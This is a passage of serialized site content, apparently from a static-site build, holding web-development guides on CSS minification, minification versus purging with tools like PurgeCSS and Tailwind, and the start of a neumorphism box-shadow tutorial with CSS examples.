pipeline.",[44,69682,69683,69686],{},[47,69684,69685],{},"Measure before and after."," Use tools like Lighthouse or WebPageTest to quantify the impact.",[44,69688,69689,69692],{},[47,69690,69691],{},"Combine with other optimizations."," Minification works best alongside tree-shaking, critical CSS extraction, and compression.",[44,69694,69695,69698],{},[47,69696,69697],{},"Version your assets."," Add content hashes to filenames so CDNs and browsers cache the latest minified version.",[11,69700,2341],{"id":2340},[77,69702,69703,69709,69715,69721],{},[44,69704,69705,69708],{},[47,69706,69707],{},"Minifying twice."," Running two minifiers in sequence can break CSS or produce unexpected results.",[44,69710,69711,69714],{},[47,69712,69713],{},"Skipping sourcemaps."," You'll waste hours debugging minified output without them.",[44,69716,69717,69720],{},[47,69718,69719],{},"Forgetting to minify third-party CSS."," Libraries like Bootstrap or Normalize often ship unminified — include them in your pipeline.",[44,69722,69723,69726],{},[47,69724,69725],{},"Not testing minified output."," Some aggressive optimizations (like removing \"unused\" rules) can break dynamic class names used by JavaScript frameworks.",[11,69728,1355],{"id":1354},[41,69730,69731,69734,69737,69740,69743],{},[44,69732,69733],{},"CSS minification removes unnecessary characters to reduce file size by 20–40%",[44,69735,69736],{},"It directly improves LCP and FID — two of three Core Web Vitals",[44,69738,69739],{},"Minification and compression (gzip\u002FBrotli) are complementary, not interchangeable",[44,69741,69742],{},"HTTP\u002F2 reduces the cost of multiple files but doesn't eliminate the benefits of minification",[44,69744,69745],{},"Always minify at build time, keep source files readable, and use sourcemaps for debugging",[11,69747,286],{"id":285},[16,69749,69750,69751,69753],{},"Shrink your CSS instantly with our free ",[98,69752,21372],{"href":21371},". Paste your code, click minify, and see the savings in real time.",[11,69755,321],{"id":320},[41,69757,69758,69763,69768],{},[44,69759,69760,69762],{},[98,69761,50517],{"href":21356}," — deep dive into specific optimization methods",[44,69764,69765,69767],{},[98,69766,49388],{"href":50559}," — choose the right tool for your stack",[44,69769,69770,69772],{},[98,69771,50524],{"href":50523}," — apply the same principles to your markup",{"title":141,"searchDepth":337,"depth":337,"links":69774},[69775,69776,69777,69778,69779,69780,69784,69785,69786,69787,69788],{"id":69370,"depth":337,"text":69371},{"id":69380,"depth":337,"text":69381},{"id":69423,"depth":337,"text":69424},{"id":69488,"depth":337,"text":69489},{"id":69546,"depth":337,"text":69547},{"id":69579,"depth":337,"text":69580,"children":69781},[69782,69783],{"id":69586,"depth":343,"text":69587},{"id":69645,"depth":343,"text":69646},{"id":35317,"depth":337,"text":35318},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn why CSS minification matters for web performance, how it affects Core Web Vitals, and the best practices for automating it in your workflow.",{"immutable":363},{"title":50511,"description":69789},"guides\u002Fcss-minification-guide","eXG1_lmiKvz7csAKK0DskNaJJScsb8fVYD3JlNvmFDw",{"id":69795,"title":69796,"body":69797,"date":2070,"description":70395,"extension":361,"meta":70396,"navigation":363,"path":70397,"readingTime":1710,"seo":70398,"stem":70399,"__hash__":70400},"guides\u002Fguides\u002Fcss-minification-vs-purging.md","CSS Minification vs Purging",{"type":8,"value":69798,"toc":70380},[69799,69803,69806,69810,69813,69835,69952,69955,69959,69962,70063,70066,70070,70140,70144,70147,70173,70180,70184,70188,70191,70249,70252,70256,70263,70267,70270,70311,70315,70321,70345,70348,70350,70370,70372,70377],[11,69800,69802],{"id":69801},"two-different-problems","Two Different Problems",[16,69804,69805],{},"CSS delivery has two distinct inefficiencies: the code you ship contains unnecessary characters (whitespace, comments, long property names), and it contains unnecessary rules (styles for components you never use on a given page). Minification solves the first problem. Purging solves the second. They are complementary, not interchangeable — and confusing them leads to either bloated bundles or broken layouts.",[11,69807,69809],{"id":69808},"what-css-minification-does","What CSS Minification Does",[16,69811,69812],{},"Minification strips everything a browser does not need to parse the stylesheet:",[41,69814,69815,69818,69821,69832],{},[44,69816,69817],{},"Removes comments",[44,69819,69820],{},"Removes whitespace, newlines, and indentation",[44,69822,69823,69824,52609,69826,1459,69828,52609,69830,1525],{},"Shortens values where possible (",[143,69825,51598],{},[143,69827,51638],{},[143,69829,69409],{},[143,69831,5285],{},[44,69833,69834],{},"Merges duplicate selectors",[135,69836,69838],{"className":1554,"code":69837,"language":1556,"meta":141,"style":141},"\u002F* Before minification *\u002F\n.card {\n  background-color: #ffffff;\n  border-radius: 8px;\n  padding: 16px 24px;\n  margin-bottom: 0px;\n}\n\n\u002F* After minification *\u002F\n.card{background-color:#fff;border-radius:8px;padding:16px 24px}\n",[143,69839,69840,69845,69851,69861,69873,69889,69901,69905,69909,69914],{"__ignoreMap":141},[1560,69841,69842],{"class":1562,"line":1563},[1560,69843,69844],{"class":1649},"\u002F* Before minification *\u002F\n",[1560,69846,69847,69849],{"class":1562,"line":337},[1560,69848,1567],{"class":1566},[1560,69850,1571],{"class":1570},[1560,69852,69853,69855,69857,69859],{"class":1562,"line":343},[1560,69854,2492],{"class":1576},[1560,69856,1663],{"class":1570},[1560,69858,51598],{"class":1576},[1560,69860,2228],{"class":1570},[1560,69862,69863,69865,69867,69869,69871],{"class":1562,"line":365},[1560,69864,17294],{"class":1576},[1560,69866,1663],{"class":1570},[1560,69868,10078],{"class":1576},[1560,69870,1670],{"class":1669},[1560,69872,2228],{"class":1570},[1560,69874,69875,69877,69879,69881,69883,69885,69887],{"class":1562,"line":889},[1560,69876,18186],{"class":1576},[1560,69878,1663],{"class":1570},[1560,69880,10057],{"class":1576},[1560,69882,1670],{"class":1669},[1560,69884,18193],{"class":1576},[1560,69886,1670],{"class":1669},[1560,69888,2228],{"class":1570},[1560,69890,69891,69893,69895,69897,69899],{"class":1562,"line":1710},[1560,69892,51815],{"class":1576},[1560,69894,1663],{"class":1570},[1560,69896,5285],{"class":1576},[1560,69898,1670],{"class":1669},[1560,69900,2228],{"class":1570},[1560,69902,69903],{"class":1562,"line":1717},[1560,69904,1585],{"class":1570},[1560,69906,69907],{"class":1562,"line":1747},[1560,69908,1702],{"emptyLinePlaceholder":363},[1560,69910,69911],{"class":1562,"line":2507},[1560,69912,69913],{"class":1649},"\u002F* After minification *\u002F\n",[1560,69915,69916,69918,69920,69922,69924,69926,69928,69930,69932,69934,69936,69938,69940,69942,69944,69946,69948,69950],{"class":1562,"line":2524},[1560,69917,1567],{"class":1566},[1560,69919,51622],{"class":1570},[1560,69921,51625],{"class":1576},[1560,69923,8037],{"class":1570},[1560,69925,51638],{"class":1576},[1560,69927,36973],{"class":1570},[1560,69929,16947],{"class":1576},[1560,69931,8037],{"class":1570},[1560,69933,10078],{"class":1576},[1560,69935,1670],{"class":1669},[1560,69937,36973],{"class":1570},[1560,69939,41140],{"class":1576},[1560,69941,8037],{"class":1570},[1560,69943,10057],{"class":1576},[1560,69945,1670],{"class":1669},[1560,69947,18193],{"class":1576},[1560,69949,1670],{"class":1669},[1560,69951,1585],{"class":1570},[16,69953,69954],{},"Minification typically reduces file size by 20–30%. The semantic content of the CSS is unchanged — every rule still exists, just in a denser format.",[11,69956,69958],{"id":69957},"what-css-purging-does","What CSS Purging Does",[16,69960,69961],{},"Purging removes CSS rules that never match any HTML element in your project. This matters because utility-first frameworks like Tailwind generate thousands of classes, while a typical page uses only a fraction of them.",[135,69963,69965],{"className":1554,"code":69964,"language":1556,"meta":141,"style":141},"\u002F* Before purging: full Tailwind output is ~3MB *\u002F\n.text-red-500 { color: #ef4444; }\n.text-blue-500 { color: #3b82f6; }\n\u002F* ... 10,000+ more classes ... *\u002F\n\n\u002F* After purging: only classes found in your templates *\u002F\n.text-red-500 { color: #ef4444; }\n.bg-white { background-color: #fff; }\n.p-4 { padding: 1rem; }\n",[143,69966,69967,69972,69988,70003,70008,70012,70017,70031,70046],{"__ignoreMap":141},[1560,69968,69969],{"class":1562,"line":1563},[1560,69970,69971],{"class":1649},"\u002F* Before purging: full Tailwind output is ~3MB *\u002F\n",[1560,69973,69974,69977,69979,69981,69983,69986],{"class":1562,"line":337},[1560,69975,69976],{"class":1566},".text-red-500",[1560,69978,1658],{"class":1570},[1560,69980,12607],{"class":1576},[1560,69982,1663],{"class":1570},[1560,69984,69985],{"class":1576},"#ef4444",[1560,69987,1673],{"class":1570},[1560,69989,69990,69993,69995,69997,69999,70001],{"class":1562,"line":343},[1560,69991,69992],{"class":1566},".text-blue-500",[1560,69994,1658],{"class":1570},[1560,69996,12607],{"class":1576},[1560,69998,1663],{"class":1570},[1560,70000,4147],{"class":1576},[1560,70002,1673],{"class":1570},[1560,70004,70005],{"class":1562,"line":365},[1560,70006,70007],{"class":1649},"\u002F* ... 10,000+ more classes ... *\u002F\n",[1560,70009,70010],{"class":1562,"line":889},[1560,70011,1702],{"emptyLinePlaceholder":363},[1560,70013,70014],{"class":1562,"line":1710},[1560,70015,70016],{"class":1649},"\u002F* After purging: only classes found in your templates *\u002F\n",[1560,70018,70019,70021,70023,70025,70027,70029],{"class":1562,"line":1717},[1560,70020,69976],{"class":1566},[1560,70022,1658],{"class":1570},[1560,70024,12607],{"class":1576},[1560,70026,1663],{"class":1570},[1560,70028,69985],{"class":1576},[1560,70030,1673],{"class":1570},[1560,70032,70033,70036,70038,70040,70042,70044],{"class":1562,"line":1747},[1560,70034,70035],{"class":1566},".bg-white",[1560,70037,1658],{"class":1570},[1560,70039,51625],{"class":1576},[1560,70041,1663],{"class":1570},[1560,70043,51638],{"class":1576},[1560,70045,1673],{"class":1570},[1560,70047,70048,70051,70053,70055,70057,70059,70061],{"class":1562,"line":2507},[1560,70049,70050],{"class":1566},".p-4",[1560,70052,1658],{"class":1570},[1560,70054,41140],{"class":1576},[1560,70056,1663],{"class":1570},[1560,70058,3585],{"class":1576},[1560,70060,32215],{"class":1669},[1560,70062,1673],{"class":1570},[16,70064,70065],{},"Purging can reduce a Tailwind build from 3MB to under 20KB — a 99% reduction. The trade-off is that any class not present in your template files at build time gets removed, even if you add it dynamically later.",[11,70067,70069],{"id":70068},"comparison","Comparison",[193,70071,70072,70083],{},[196,70073,70074],{},[199,70075,70076,70078,70080],{},[202,70077,13104],{},[202,70079,69519],{},[202,70081,70082],{},"Purging",[211,70084,70085,70096,70107,70118,70129],{},[199,70086,70087,70090,70093],{},[216,70088,70089],{},"What it removes",[216,70091,70092],{},"Whitespace, comments, redundancy",[216,70094,70095],{},"Unused CSS rules",[199,70097,70098,70101,70104],{},[216,70099,70100],{},"Size reduction",[216,70102,70103],{},"20–30%",[216,70105,70106],{},"80–99% (with utility frameworks)",[199,70108,70109,70112,70115],{},[216,70110,70111],{},"Risk of breakage",[216,70113,70114],{},"None — semantics unchanged",[216,70116,70117],{},"High — dynamic classes can be removed",[199,70119,70120,70123,70126],{},[216,70121,70122],{},"When to apply",[216,70124,70125],{},"Every production build",[216,70127,70128],{},"When using utility frameworks or large libraries",[199,70130,70131,70134,70137],{},[216,70132,70133],{},"Tool examples",[216,70135,70136],{},"cssnano, clean-css, lightningcss",[216,70138,70139],{},"PurgeCSS, Tailwind JIT, UnCSS",[11,70141,70143],{"id":70142},"why-you-need-both","Why You Need Both",[16,70145,70146],{},"Consider a Tailwind CSS project:",[41,70148,70149,70155,70161,70167],{},[44,70150,70151,70154],{},[47,70152,70153],{},"Without either",": 3MB CSS file — unusable in production.",[44,70156,70157,70160],{},[47,70158,70159],{},"Minified only",": ~2.1MB — smaller but still shipping thousands of unused classes.",[44,70162,70163,70166],{},[47,70164,70165],{},"Purged only",": ~20KB raw — tiny but still has whitespace and comments.",[44,70168,70169,70172],{},[47,70170,70171],{},"Purged + minified",": ~8KB gzipped — optimal delivery.",[16,70174,70175,70176,70179],{},"The correct pipeline is: ",[47,70177,70178],{},"purge first, then minify",". Purging reduces the number of rules, which gives the minifier less work and produces a smaller output. Minifying before purging wastes time compressing rules that will be removed.",[11,70181,70183],{"id":70182},"purging-pitfalls","Purging Pitfalls",[33,70185,70187],{"id":70186},"dynamic-class-names","Dynamic Class Names",[16,70189,70190],{},"PurgeCSS works by scanning your template files for class names. If you construct class names with string concatenation, the scanner cannot find them:",[135,70192,70194],{"className":6417,"code":70193,"language":6419,"meta":141,"style":141},"\u003C!-- PurgeCSS will find this -->\n\u003Cdiv class=\"text-red-500\">Error\u003C\u002Fdiv>\n\n\u003C!-- PurgeCSS will NOT find this -->\n\u003Cdiv :class=\"`text-${color}-500`\">Error\u003C\u002Fdiv>\n",[143,70195,70196,70201,70221,70225,70230],{"__ignoreMap":141},[1560,70197,70198],{"class":1562,"line":1563},[1560,70199,70200],{"class":1649},"\u003C!-- PurgeCSS will find this -->\n",[1560,70202,70203,70205,70207,70209,70211,70214,70217,70219],{"class":1562,"line":337},[1560,70204,6431],{"class":1570},[1560,70206,7291],{"class":2484},[1560,70208,11423],{"class":1566},[1560,70210,7297],{"class":1570},[1560,70212,70213],{"class":5634},"\"text-red-500\"",[1560,70215,70216],{"class":1570},">Error\u003C\u002F",[1560,70218,7291],{"class":2484},[1560,70220,6441],{"class":1570},[1560,70222,70223],{"class":1562,"line":343},[1560,70224,1702],{"emptyLinePlaceholder":363},[1560,70226,70227],{"class":1562,"line":365},[1560,70228,70229],{"class":1649},"\u003C!-- PurgeCSS will NOT find this -->\n",[1560,70231,70232,70234,70236,70238,70240,70243,70245,70247],{"class":1562,"line":889},[1560,70233,6431],{"class":1570},[1560,70235,7291],{"class":2484},[1560,70237,17466],{"class":1566},[1560,70239,7297],{"class":1570},[1560,70241,70242],{"class":5634},"\"`text-${color}-500`\"",[1560,70244,70216],{"class":1570},[1560,70246,7291],{"class":2484},[1560,70248,6441],{"class":1570},[16,70250,70251],{},"Always use complete class names in your templates. Tailwind's documentation recommends writing dynamic classes out in full, even inside conditional blocks.",[33,70253,70255],{"id":70254},"third-party-libraries","Third-Party Libraries",[16,70257,70258,70259,70262],{},"CSS from ",[143,70260,70261],{},"node_modules"," is often excluded from purging by default. If you import a library's full stylesheet but only use a few components, configure your purger to scan those library templates or safelist the classes you need.",[33,70264,70266],{"id":70265},"javascript-injected-classes","JavaScript-Injected Classes",[16,70268,70269],{},"Classes added by JavaScript at runtime — modals, tooltips, date pickers — can be purged if the scanner does not see the relevant markup. Use safelist entries for these cases:",[135,70271,70273],{"className":1607,"code":70272,"language":1609,"meta":141,"style":141},"\u002F\u002F purgecss.config.js\nmodule.exports = {\n  safelist: ['modal-open', 'tooltip-visible']\n}\n",[143,70274,70275,70280,70292,70307],{"__ignoreMap":141},[1560,70276,70277],{"class":1562,"line":1563},[1560,70278,70279],{"class":1649},"\u002F\u002F purgecss.config.js\n",[1560,70281,70282,70284,70286,70288,70290],{"class":1562,"line":337},[1560,70283,11885],{"class":1576},[1560,70285,468],{"class":1570},[1560,70287,11890],{"class":1576},[1560,70289,8186],{"class":1669},[1560,70291,1571],{"class":1570},[1560,70293,70294,70297,70300,70302,70305],{"class":1562,"line":343},[1560,70295,70296],{"class":1570},"  safelist: [",[1560,70298,70299],{"class":5634},"'modal-open'",[1560,70301,1459],{"class":1570},[1560,70303,70304],{"class":5634},"'tooltip-visible'",[1560,70306,37203],{"class":1570},[1560,70308,70309],{"class":1562,"line":365},[1560,70310,1585],{"class":1570},[11,70312,70314],{"id":70313},"minification-beyond-whitespace","Minification Beyond Whitespace",[16,70316,70317,70318,70320],{},"Advanced minifiers like ",[143,70319,20497],{}," also perform semantic optimizations:",[41,70322,70323,70326,70335,70338],{},[44,70324,70325],{},"Merging rules with identical selectors",[44,70327,70328,70329,5255,70332],{},"Converting ",[143,70330,70331],{},"margin: 10px 10px 10px 10px",[143,70333,70334],{},"margin: 10px",[44,70336,70337],{},"Removing overridden properties",[44,70339,70340,70341,70344],{},"Reducing ",[143,70342,70343],{},"calc()"," expressions where possible",[16,70346,70347],{},"These optimizations are safe for production but can make debugging harder. Always keep the unminified source available for development.",[11,70349,1355],{"id":1354},[41,70351,70352,70355,70358,70361,70364,70367],{},[44,70353,70354],{},"Minification removes unnecessary characters; purging removes unnecessary rules — they solve different problems.",[44,70356,70357],{},"Purging provides the largest size reduction for utility-first frameworks (80–99%).",[44,70359,70360],{},"Minification adds a consistent 20–30% reduction on top of purging.",[44,70362,70363],{},"Correct pipeline order: purge first, then minify.",[44,70365,70366],{},"Dynamic class names are the most common cause of purging-related bugs.",[44,70368,70369],{},"Safelist any classes added by JavaScript or third-party libraries.",[11,70371,286],{"id":285},[16,70373,70374,70375,468],{},"Minify your CSS and see the size reduction instantly with the ",[98,70376,21372],{"href":21371},[2043,70378,70379],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":70381},[70382,70383,70384,70385,70386,70387,70392,70393,70394],{"id":69801,"depth":337,"text":69802},{"id":69808,"depth":337,"text":69809},{"id":69957,"depth":337,"text":69958},{"id":70068,"depth":337,"text":70069},{"id":70142,"depth":337,"text":70143},{"id":70182,"depth":337,"text":70183,"children":70388},[70389,70390,70391],{"id":70186,"depth":343,"text":70187},{"id":70254,"depth":343,"text":70255},{"id":70265,"depth":343,"text":70266},{"id":70313,"depth":337,"text":70314},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand the difference between minifying CSS and purging unused styles — and why you need both.",{"immutable":363},"\u002Fguides\u002Fcss-minification-vs-purging",{"title":69796,"description":70395},"guides\u002Fcss-minification-vs-purging","_KCxTRrZjpLi8Ut5J5TdX82UrH46joDdhmqScRJMoB4",{"id":70402,"title":70403,"body":70404,"date":2070,"description":71810,"extension":361,"meta":71811,"navigation":363,"path":71812,"readingTime":1710,"seo":71813,"stem":71814,"__hash__":71815},"guides\u002Fguides\u002Fcss-neumorphism-guide.md","Neumorphism in CSS: Shadows Guide",{"type":8,"value":70405,"toc":71790},[70406,70410,70413,70416,70420,70423,70434,70527,70530,70534,70537,70621,70625,70631,70674,70677,70744,70748,70752,70962,70966,71192,71196,71532,71536,71539,71543,71546,71606,71610,71640,71644,71693,71726,71730,71733,71744,71747,71758,71760,71776,71778,71781,71787],[11,70407,70409],{"id":70408},"what-is-neumorphism","What Is Neumorphism?",[16,70411,70412],{},"Neumorphism (soft UI) is a design style that makes elements appear to extrude from or press into their background. The effect is achieved with two opposing box-shadows — one light and one dark — on an element whose background matches the surface beneath it.",[16,70414,70415],{},"The result looks like raised or sunken plastic: soft, tactile, and distinctly different from flat design or traditional material elevation. Popularized around 2020, neumorphism has found a niche in dashboard UIs, music players, and calculator interfaces.",[11,70417,70419],{"id":70418},"how-the-dual-shadow-works","How the Dual Shadow Works",[16,70421,70422],{},"Neumorphism relies on three things being the same color:",[77,70424,70425,70428,70431],{},[44,70426,70427],{},"The page background",[44,70429,70430],{},"The element's background",[44,70432,70433],{},"The midpoint between the two shadow colors",[135,70435,70437],{"className":1554,"code":70436,"language":1556,"meta":141,"style":141},".neumorphic-raised {\n  background: #e0e0e0;\n  border-radius: 16px;\n  box-shadow:\n    8px 8px 16px #bebebe,    \u002F* dark shadow (bottom-right) *\u002F\n    -8px -8px 16px #ffffff;  \u002F* light shadow (top-left) *\u002F\n}\n",[143,70438,70439,70446,70457,70469,70475,70499,70523],{"__ignoreMap":141},[1560,70440,70441,70444],{"class":1562,"line":1563},[1560,70442,70443],{"class":1566},".neumorphic-raised",[1560,70445,1571],{"class":1570},[1560,70447,70448,70450,70452,70455],{"class":1562,"line":337},[1560,70449,5665],{"class":1576},[1560,70451,1663],{"class":1570},[1560,70453,70454],{"class":1576},"#e0e0e0",[1560,70456,2228],{"class":1570},[1560,70458,70459,70461,70463,70465,70467],{"class":1562,"line":343},[1560,70460,17294],{"class":1576},[1560,70462,1663],{"class":1570},[1560,70464,10057],{"class":1576},[1560,70466,1670],{"class":1669},[1560,70468,2228],{"class":1570},[1560,70470,70471,70473],{"class":1562,"line":365},[1560,70472,18679],{"class":1576},[1560,70474,19182],{"class":1570},[1560,70476,70477,70480,70482,70484,70486,70488,70490,70493,70496],{"class":1562,"line":889},[1560,70478,70479],{"class":1576},"    8",[1560,70481,1670],{"class":1669},[1560,70483,13490],{"class":1576},[1560,70485,1670],{"class":1669},[1560,70487,19024],{"class":1576},[1560,70489,1670],{"class":1669},[1560,70491,70492],{"class":1576}," #bebebe",[1560,70494,70495],{"class":1570},",    ",[1560,70497,70498],{"class":1649},"\u002F* dark shadow (bottom-right) *\u002F\n",[1560,70500,70501,70504,70506,70509,70511,70513,70515,70518,70520],{"class":1562,"line":1710},[1560,70502,70503],{"class":1576},"    -8",[1560,70505,1670],{"class":1669},[1560,70507,70508],{"class":1576}," -8",[1560,70510,1670],{"class":1669},[1560,70512,19024],{"class":1576},[1560,70514,1670],{"class":1669},[1560,70516,70517],{"class":1576}," #ffffff",[1560,70519,3409],{"class":1570},[1560,70521,70522],{"class":1649},"\u002F* light shadow (top-left) *\u002F\n",[1560,70524,70525],{"class":1562,"line":1717},[1560,70526,1585],{"class":1570},[16,70528,70529],{},"The dark shadow simulates the area where light is blocked. The light shadow simulates the area where light reflects off the raised surface. Together, they create the illusion of depth.",[33,70531,70533],{"id":70532},"inset-pressed-variant","Inset (Pressed) Variant",[16,70535,70536],{},"Flip the shadows inward for a pushed-in effect:",[135,70538,70540],{"className":1554,"code":70539,"language":1556,"meta":141,"style":141},".neumorphic-pressed {\n  background: #e0e0e0;\n  border-radius: 16px;\n  box-shadow:\n    inset 8px 8px 16px #bebebe,\n    inset -8px -8px 16px #ffffff;\n}\n",[143,70541,70542,70549,70559,70571,70577,70597,70617],{"__ignoreMap":141},[1560,70543,70544,70547],{"class":1562,"line":1563},[1560,70545,70546],{"class":1566},".neumorphic-pressed",[1560,70548,1571],{"class":1570},[1560,70550,70551,70553,70555,70557],{"class":1562,"line":337},[1560,70552,5665],{"class":1576},[1560,70554,1663],{"class":1570},[1560,70556,70454],{"class":1576},[1560,70558,2228],{"class":1570},[1560,70560,70561,70563,70565,70567,70569],{"class":1562,"line":343},[1560,70562,17294],{"class":1576},[1560,70564,1663],{"class":1570},[1560,70566,10057],{"class":1576},[1560,70568,1670],{"class":1669},[1560,70570,2228],{"class":1570},[1560,70572,70573,70575],{"class":1562,"line":365},[1560,70574,18679],{"class":1576},[1560,70576,19182],{"class":1570},[1560,70578,70579,70581,70583,70585,70587,70589,70591,70593,70595],{"class":1562,"line":889},[1560,70580,48484],{"class":1576},[1560,70582,13490],{"class":1576},[1560,70584,1670],{"class":1669},[1560,70586,13490],{"class":1576},[1560,70588,1670],{"class":1669},[1560,70590,19024],{"class":1576},[1560,70592,1670],{"class":1669},[1560,70594,70492],{"class":1576},[1560,70596,11943],{"class":1570},[1560,70598,70599,70601,70603,70605,70607,70609,70611,70613,70615],{"class":1562,"line":1710},[1560,70600,48484],{"class":1576},[1560,70602,70508],{"class":1576},[1560,70604,1670],{"class":1669},[1560,70606,70508],{"class":1576},[1560,70608,1670],{"class":1669},[1560,70610,19024],{"class":1576},[1560,70612,1670],{"class":1669},[1560,70614,70517],{"class":1576},[1560,70616,2228],{"class":1570},[1560,70618,70619],{"class":1562,"line":1717},[1560,70620,1585],{"class":1570},[11,70622,70624],{"id":70623},"generating-neumorphic-shadows","Generating Neumorphic Shadows",[16,70626,70627,70628,70630],{},"The shadow colors are derived from the background. For a background of ",[143,70629,70454],{}," (HSL: 0, 0%, 88%):",[193,70632,70633,70646],{},[196,70634,70635],{},[199,70636,70637,70640,70643],{},[202,70638,70639],{},"Shadow Type",[202,70641,70642],{},"Calculation",[202,70644,70645],{},"Result",[211,70647,70648,70662],{},[199,70649,70650,70653,70656],{},[216,70651,70652],{},"Dark",[216,70654,70655],{},"Decrease lightness by ~10%",[216,70657,70658,70661],{},[143,70659,70660],{},"#bebebe"," (HSL: 0, 0%, 75%)",[199,70663,70664,70667,70670],{},[216,70665,70666],{},"Light",[216,70668,70669],{},"Increase lightness by ~10% or use white",[216,70671,70672],{},[143,70673,51598],{},[16,70675,70676],{},"The offset and blur values control the depth perception:",[193,70678,70679,70694],{},[196,70680,70681],{},[199,70682,70683,70686,70689,70692],{},[202,70684,70685],{},"Depth",[202,70687,70688],{},"Offset",[202,70690,70691],{},"Blur",[202,70693,29641],{},[211,70695,70696,70707,70718,70731],{},[199,70697,70698,70700,70702,70704],{},[216,70699,55339],{},[216,70701,16757],{},[216,70703,16702],{},[216,70705,70706],{},"Slight raise, clean look",[199,70708,70709,70711,70713,70715],{},[216,70710,7639],{},[216,70712,16702],{},[216,70714,16795],{},[216,70716,70717],{},"Standard neumorphic raised",[199,70719,70720,70723,70725,70728],{},[216,70721,70722],{},"Deep",[216,70724,16782],{},[216,70726,70727],{},"24px",[216,70729,70730],{},"Strong extrusion",[199,70732,70733,70736,70738,70741],{},[216,70734,70735],{},"Extra deep",[216,70737,16795],{},[216,70739,70740],{},"32px",[216,70742,70743],{},"Dramatic, almost 3D",[11,70745,70747],{"id":70746},"practical-components","Practical Components",[33,70749,70751],{"id":70750},"neumorphic-button","Neumorphic Button",[135,70753,70755],{"className":1554,"code":70754,"language":1556,"meta":141,"style":141},".neu-button {\n  background: #e0e0e0;\n  border: none;\n  border-radius: 12px;\n  padding: 12px 28px;\n  font-size: 1rem;\n  cursor: pointer;\n  box-shadow:\n    6px 6px 12px #bebebe,\n    -6px -6px 12px #ffffff;\n  transition: box-shadow 0.15s ease;\n}\n\n.neu-button:active {\n  box-shadow:\n    inset 4px 4px 8px #bebebe,\n    inset -4px -4px 8px #ffffff;\n}\n",[143,70756,70757,70764,70774,70784,70796,70813,70825,70837,70843,70862,70882,70896,70900,70904,70911,70917,70937,70958],{"__ignoreMap":141},[1560,70758,70759,70762],{"class":1562,"line":1563},[1560,70760,70761],{"class":1566},".neu-button",[1560,70763,1571],{"class":1570},[1560,70765,70766,70768,70770,70772],{"class":1562,"line":337},[1560,70767,5665],{"class":1576},[1560,70769,1663],{"class":1570},[1560,70771,70454],{"class":1576},[1560,70773,2228],{"class":1570},[1560,70775,70776,70778,70780,70782],{"class":1562,"line":343},[1560,70777,3580],{"class":1576},[1560,70779,1663],{"class":1570},[1560,70781,24609],{"class":1576},[1560,70783,2228],{"class":1570},[1560,70785,70786,70788,70790,70792,70794],{"class":1562,"line":365},[1560,70787,17294],{"class":1576},[1560,70789,1663],{"class":1570},[1560,70791,13566],{"class":1576},[1560,70793,1670],{"class":1669},[1560,70795,2228],{"class":1570},[1560,70797,70798,70800,70802,70804,70806,70809,70811],{"class":1562,"line":889},[1560,70799,18186],{"class":1576},[1560,70801,1663],{"class":1570},[1560,70803,13566],{"class":1576},[1560,70805,1670],{"class":1669},[1560,70807,70808],{"class":1576}," 28",[1560,70810,1670],{"class":1669},[1560,70812,2228],{"class":1570},[1560,70814,70815,70817,70819,70821,70823],{"class":1562,"line":1710},[1560,70816,33414],{"class":1576},[1560,70818,1663],{"class":1570},[1560,70820,3585],{"class":1576},[1560,70822,32215],{"class":1669},[1560,70824,2228],{"class":1570},[1560,70826,70827,70830,70832,70835],{"class":1562,"line":1717},[1560,70828,70829],{"class":1576},"  cursor",[1560,70831,1663],{"class":1570},[1560,70833,70834],{"class":1576},"pointer",[1560,70836,2228],{"class":1570},[1560,70838,70839,70841],{"class":1562,"line":1747},[1560,70840,18679],{"class":1576},[1560,70842,19182],{"class":1570},[1560,70844,70845,70848,70850,70852,70854,70856,70858,70860],{"class":1562,"line":2507},[1560,70846,70847],{"class":1576},"    6",[1560,70849,1670],{"class":1669},[1560,70851,43195],{"class":1576},[1560,70853,1670],{"class":1669},[1560,70855,19321],{"class":1576},[1560,70857,1670],{"class":1669},[1560,70859,70492],{"class":1576},[1560,70861,11943],{"class":1570},[1560,70863,70864,70867,70869,70872,70874,70876,70878,70880],{"class":1562,"line":2524},[1560,70865,70866],{"class":1576},"    -6",[1560,70868,1670],{"class":1669},[1560,70870,70871],{"class":1576}," 